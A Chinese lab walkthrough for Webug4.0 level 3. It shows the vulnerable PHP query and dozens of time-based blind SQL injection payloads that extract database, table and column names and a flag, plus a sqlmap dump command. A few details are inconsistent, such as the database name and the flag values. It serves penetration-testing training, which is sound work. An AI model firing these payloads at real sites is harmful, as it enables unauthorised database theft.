Webug4.0靶场通关笔记03- 第3关SQL注入之时间盲注(手注法+脚本法 两种方法)

article/2025/8/28 16:55:23

目录

一、源码分析

1.分析闭合

2.分析输出

(1)查询成功

(2)查询失败

(3)SQL语句执行报错

二、第03关 延时注入

1.打开靶场

2.SQL手注

(1)盲注分析

(2)获取数据库长度

(3)获取数据库名称

(4)获取数据库中表名的数量

(5)获取当前数据库的表名长度

(6)获取当前数据库的表名

(7)获取env_list表的列名

(8)获取env_list的所有字段

3.sqlmap渗透

(1)bp抓包保存

(2)sqlmap注入

(3)获取flag

三、总结


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第3关时间盲注的渗透实战,该关卡源码与第02关一致,只是渗透方法由布尔盲注改为时间盲注。

一、源码分析

打开靶场,会发现第02关和第03关的源码相同,均使用bool_injection.php文件

<?phprequire_once "../../common/common.php";
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}if (isset($_GET["id"])) {if (!empty($_GET["id"])) {$sql = "SELECT * FROM sqlinjection WHERE id = '{$_GET['id']}'";$res = $dbConnect->query($sql);}
}
require_once TPMELATE."/bool-injection_1.html";

1.分析闭合

SQL语句如下所示,使用单引号闭合参数id。

SELECT * FROM sqlinjection WHERE id = '{$_GET['id']}'

2.分析输出

相对于第01关,区别就是这一关卡对于SQL查询错误的情况没有进行输出报错信息。

(1)查询成功

这种情况查到了的话,输出实际内容, 当参数id=2时,如下所示显示hello。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=2

 尝试万能注入,如下所示。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1' or 1=1#

(2)查询失败

没查到的话,无报错,显示如下。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1

(3)SQL语句执行报错

比如说加上单引号等信息,此时SQL语句错误,却也输出同样的内容。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=-1'

综上所述,此注入为不属于严格意义的布尔型注入(虽然错误时无报错,但是正确时却又多种输出),同时仍然可以使用UNION法进行渗透,故而本关卡属于名不副实,不算是布尔注入。

二、第03关 延时注入

1.打开靶场

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1

2.SQL手注

(1)盲注分析

由于SQL查询失败和SQL语句执行有误的打印信息相同,这部分存在时间盲注风险。构造注入命令如下所示。

id=1' and if(length(database())>1,sleep(3),1) %23

注入语句如下所示。

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1' and if(length(database())>1,sleep(3),1) %23

如下响应时间大于3秒,存在SQL注入风险。

(2)获取数据库长度

判断数据库的长度的注入命令如下所示,

id=1' and if(length(database())=1,sleep(3),1)%23
id=1' and if(length(database())=2,sleep(3),1)%23
id=1' and if(length(database())=3,sleep(3),1)%23
id=1' and if(length(database())=4,sleep(3),1)%23
id=1' and if(length(database())=5,sleep(3),1)%23#成功

如下所示,获取到数据库长度为5

(3)获取数据库名称

id=1' and if(substr((select database()),1,1)='w',sleep(5),1)%23
id=1' and if(substr((select database()),2,1)='e',sleep(5),1)%23
id=1' and if(substr((select database()),3,1)='b',sleep(5),1)%23
id=1' and if(substr((select database()),4,1)='u',sleep(5),1)%23
id=1' and if(substr((select database()),5,1)='g',sleep(5),1)%23

如下所示,渗透获取数据库的名称为webug

 (4)获取数据库中表名的数量

id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=3,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(5),1)%23
id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=7,sleep(5),1)%23

 基于此,获取到共有7个表格。

(5)获取当前数据库的表名长度

时间注入命令如下所示。

id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=1,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=2,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=3,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=4,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=5,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=6,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=7,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=8,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1))=9,sleep(5),1)%23

如下所示,第一个表格长度为9。 

 爆出数据库第2个表格长度。

id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=1,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=2,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=3,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=4,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=5,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=6,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=7,sleep(5),1)%23
id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database()limit 1,1),1))=8,sleep(5),1)%23 #成功

如上所示第2个表格长度为8,可以求的websec数据库的每个表长度,分别9、8、8、4·、12、4、9 。

(6)获取当前数据库的表名

第一个表格的名字,如下所示为data_crud。

id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))='d',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='a',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))='t',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=a',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))='_',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))='c',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))='r',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))='u',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))='d',sleep(5),1)%23

第二个表名为env_list,注入命令如下所示。

id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))='e',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))='n',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))='v',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))='_',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))='l',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1))='i',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),7,1))='s',sleep(5),1)%23
id=1' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),8,1))='t',sleep(5),1)%23

 

以此类推,所有表名分别为data_crud,env_list,env_path,flag,sqlinjection,user,user_test 。

(7)获取env_list表的列名

 如下所示,列长度为2。

id=1' and if((select length(column_name) from information_schema.COLUMNS where TABLE_NAME='env_list' limit 0,1) =1,sleep(5),1)%23
id=1' and if((select length(column_name) from information_schema.COLUMNS where TABLE_NAME='env_list' limit 0,1) =2,sleep(5),1)%23

第一列的列名注入命令如下所示。

id=1' and if(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='env_list' limit 0,1),1,1)='i',sleep(5),1)%23
id=1' and if(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME ='env_list' limit 0,1),2,1)='d',sleep(5),1)%23

如下可知第1列的列名为id,如下所示。

以此类推,可以获取所有列的名称,分别为id, envName, envDesc, envIntegration, delFlag, envFlag, level, type。

(8)获取env_list的所有字段

 如下获取env_list表flag列的第一个字段,如下所示为dfafdasfafdsadfa。

id=1' and if((substr((select flag from flag limit 0,1),1,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),2,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),3,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),4,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),5,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),6,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),7,1))='s',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),8,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),9,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),10,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),11,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),12,1))='s',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),13,1))='a',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),14,1))='d',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),15,1))='f',sleep(5),1)%23
id=1' and if((substr((select flag from flag limit 0,1),16,1))='a',sleep(5),1)%23

时间注入相对耗时,建议使用bp半自动化或者sqlmap或者python脚本进行注入,如下所示,最后获取到的flag信息如下所示。

第三关的flag为gfdgdfsdg。

3.sqlmap渗透

(1)bp抓包保存

http://192.168.71.1/webug4/control/sqlinject/bool_injection.php?id=1

bp抓包并将报文保存为webug02.txt。

(2)sqlmap注入

由于第03关与第02关源码一样,故而可以这里使用webug02.txt进行注入,完整交互如下

为了区分,这里可以加上--tech T命令。

 sqlmap -r webug02.txt --current-db --batch --tech T -D webug  -T env_list --dump

找到SQL盲注点,效果如下所示。

(3)获取flag

如下所示,flag为gfdgdfsdg,渗透成功。

获取的flag如下所示。

Flag: gfdgdfsdg

实际上时间注入非常慢且耗时过久,建议可以通过较快的方法实现注入就不要用时间盲注法,这里只是使用--current-db 参数获取数据库即可。

三、总结

SQL注入主要分析几个内容。

(1)闭合方式是什么?webug靶场的第02关关卡为字符型,闭合方式为单引号。

(2)注入类别是什么?这部分是普通的字符型GET注入,可以使用时间型盲注,使用union法即可注入成功,也可以使用相对复杂的布尔注入方法。

(3)是否过滤了关键字?很明显通过源码,iwebsec的第02关和第03关卡没有进行任何过滤。

了解了如上信息就可以针对性使用SQL注入法进行渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的webug靶场第03关注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。不过能用简单的方法注入成功,都不建议使用复杂的方法进行注入啊,否则是真的费时费力啊。


http://www.hkcw.cn/article/LfMCueafmc.shtml

相关文章

NodeJS 基于 Koa, 开发一个读取文件,并返回给客户端文件下载,以及读取文件形成列表和文件删除的代码演示

前言 在上一篇文章 《Nodejs 实现 Mysql 数据库的全量备份的代码演示》 中&#xff0c;我们演示了如何将用户的 Mysql 数据库进行备份的代码。但是&#xff0c;这个备份&#xff0c;只是备份在了服务器上了。 而我们用户的真实需求&#xff0c;是需要将备份文件下载到本地进行…

中国自然灾害影响及损失数据

自然灾害往往会导致大量的人员伤亡和财产损失&#xff0c;数据集详细记载了2014-2020年中国自然灾害影响以及灾害造成的损失情况。其中包括地震、台风、雨雪、阵雨、雪灾、暴雨、旱灾、龙卷风、泥石流、山崩、泥石流、滑坡、洪涝等灾害事件。 数据集主要以excel的格式存储。属性…

UE5.5 pixelstreaming插件打包报错

文章目录 错误内容如下解决方案推流服务器不能使用 错误内容如下 The following files are set to be staged, but contain restricted folder names ("Linux"): CTZ5_5/Samples/PixelStreaming/WebServers/Extras/FrontendTests/dockerfiles/linux/Dockerfile CTZ5…

UE5打包项目设置Project Settings(打包widows exe安装包)

UE5打包项目Project Settings Edit-Project Settings- Packaging-Ini Section Denylist-Advanced 1&#xff1a;打包 2&#xff1a;高级设置 3&#xff1a;勾选创建压缩包 4&#xff1a;添加要打包地图Map的数量 5&#xff1a;选择要打包的地图Maps 6&#xff1a;Project-Bui…

全志F1c200开发笔记——移植Debian文件系统

1.搭建环境 sudo apt install qemu-user-static -y sudo apt install debootstrap -y mkdir rootfs 2.拉取文件系统 这边我参照墨云大神的文档&#xff0c;但是华为镜像已经没有armel了&#xff0c;我找到了官方仓库&#xff0c;还是有的&#xff0c;拉取速度比较慢 sudo d…

多模态大语言模型arxiv论文略读(九十九)

PartGLEE: A Foundation Model for Recognizing and Parsing Any Objects ➡️ 论文标题&#xff1a;PartGLEE: A Foundation Model for Recognizing and Parsing Any Objects ➡️ 论文作者&#xff1a;Junyi Li, Junfeng Wu, Weizhi Zhao, Song Bai, Xiang Bai ➡️ 研究机构…

SpringCloud基础知识

学习视频链接:SpringCloud | 黑马程序员 文章目录 NacosDocker部署1.拉取镜像2.运行nacos3.测试 Nacos介绍核心功能&#xff1a;基本概念&#xff1a;部署模式&#xff1a;1.单机模式&#xff08;Standalone&#xff09;2.集群模式&#xff08;Cluster&#xff09;3.云原生部署…

12-后端Web实战(登录认证)

在前面的课程中&#xff0c;我们已经实现了部门管理、员工管理的基本功能&#xff0c;但是大家会发现&#xff0c;我们并没有登录&#xff0c;就直接访问到了Tlias智能学习辅助系统的后台。 这是不安全的&#xff0c;所以我们今天的主题就是登录认证。最终要实现的效果是&#…

CppCon 2014 学习第4天:Transactional Language Constructs for C++ TS(未进入到标准)

事务性编程 “Transactional Language Constructs for C TS”指的是在C技术规范&#xff08;Technical Specification, TS&#xff09;中提出的一套用于支持**事务性编程&#xff08;Transactional Programming&#xff09;**的语言构造。 什么是事务性编程&#xff1f; 事务…

【论文阅读】《PEACE: Empowering Geologic Map Holistic Understanding with MLLMs》

目录 前言一、研究背景与问题1-1、地质图的重要性1-2、现有MLLMs的不足 二、 主要贡献2-1、GeoMap-Bench&#xff1a;首个地质图理解评估基准2-2、GeoMap-Agent&#xff1a;首个地质图专用AI代理2-3、实验验证与性能优势 三、关键技术3-1、 数据构建与预处理3-2、分层信息提取&…

React 编译器 RC

&#x1f916; 作者简介&#xff1a;水煮白菜王&#xff0c;一位前端劝退师 &#x1f47b; &#x1f440; 文章专栏&#xff1a; 前端专栏 &#xff0c;记录一下平时在博客写作中&#xff0c;总结出的一些开发技巧和知识归纳总结✍。 感谢支持&#x1f495;&#x1f495;&#…

简单三步FastAdmin 开源框架的安装

简单三步FastAdmin 开源框架的安装 第一步&#xff1a;新建站点1&#xff0c;在宝塔面板中&#xff0c;创建一个新的站点&#xff0c;并填写项目域名。 第二步&#xff1a;上传框架1&#xff0c;框架下载2&#xff0c;上传解压缩 第三步&#xff1a;配置并安装1&#xff0c;进入…

Chuanpai、Nihongo wa Muzukashii Desu、K-skip Permutation

一、Chuanpai 题目描述 川牌是四川传统纸牌&#xff0c;每张牌标记两个整数 x 和 y&#xff08;1≤x≤y≤6&#xff09;。给定整数 k&#xff0c;要求统计满足 xyk 的不同牌型数量。两张牌类型不同当且仅当 (x1​,y1​) 和 (x2​,y2​) 不同&#xff08;即 x1​x2​ 或 y1​y…

【第4章 图像与视频】4.5 操作图像的像素

文章目录 前言示例-获取和修改图像数据图像数据的遍历方式图像滤镜负片滤镜黑白滤镜浮雕滤镜filter滤镜属性 前言 getImageData() 与 putImageData() 这两个方法分别用来获取图像的像素信息&#xff0c;以及向图像中插入像素。与此同时&#xff0c;如果有需要&#xff0c;也可…

【Linux系统】进程概念(进程状态、进程优先级、进程切换 和 进程调度)

文章目录 一、基本概念与基本操作1.进程的概念&#xff08;描述进程-PCB&#xff09;2.task_ struct 里的内容3.查看进程标示符的方法&#xff08;getpid函数&#xff0c;系统调用&#xff09;4.查看进程的方法4.1 进程的信息可以通过 /proc 系统文件夹查看&#xff08;不推荐&…

单片机(新坑)

20250521 开始学习单片机的基础知识 参考视频链接 必备软件 Keil5 用于编写C51代码 STC-ISP 基础知识 单片机&#xff0c;Micro Controller Unit&#xff0c;简称MCU&#xff0c;其内部继承了CPU、RAM、ROM、定时器、中断系统、通讯接口等常见硬件功能。单片机的任务是信…

Nordic nRF52832使用寄存器实现SPI功能

目录 概述 1 SPI相关的寄存器 1.1 SPI的框架结构 1.2 功能描述 1.3 SPI Master模式引脚配置 1.4 SPI Master模式下的时序 2 SPI相关的寄存器 2.1 Instances 2.2 详细寄存器定义 2.3 SPI master interface特性 3 Zephyr 平台下SPI功能时序&#xff08;寄存器&#xf…

25平航杯复现

44:一&#xff0c;题目背景 爱而不得&#xff0c;进而由爱生恨。作为有黑客背景的他&#xff0c;激发出了强烈的占有欲&#xff0c;虽然不能在真实物理世界成为她的伴侣&#xff0c;但在虚拟世界里&#xff0c;他执着的要成为她的主宰&#xff0c;于是&#xff0c;我们的故事开…

【海康USB相机被HALCON助手连接过后,MVS显示无法连接故障。】

在Halcon里使用助手调用海康USB相机时&#xff0c;如果这个界面点击了【是】 那么恭喜你&#xff0c;相机只能被HALCON调用使用&#xff0c;使用MVS或者海康开发库&#xff0c;将查找不到相机 解决方式&#xff1a; 右键桌面【此电脑】图标 ->选择【管理】 ->选择【设备…

MySQL索引和事务

一.MySQL索引介绍 索引是一个排序的列表&#xff0c;在这个列表中存储着索引的值和包含这个值的数据所在行的物理地址。在数据十分庞大的时候&#xff0c;索引可以大大加快查询的速度。这是因为使用索引后可以不用扫描全表来定位某行的数据,而是先通过索引表找到该行数据对应的…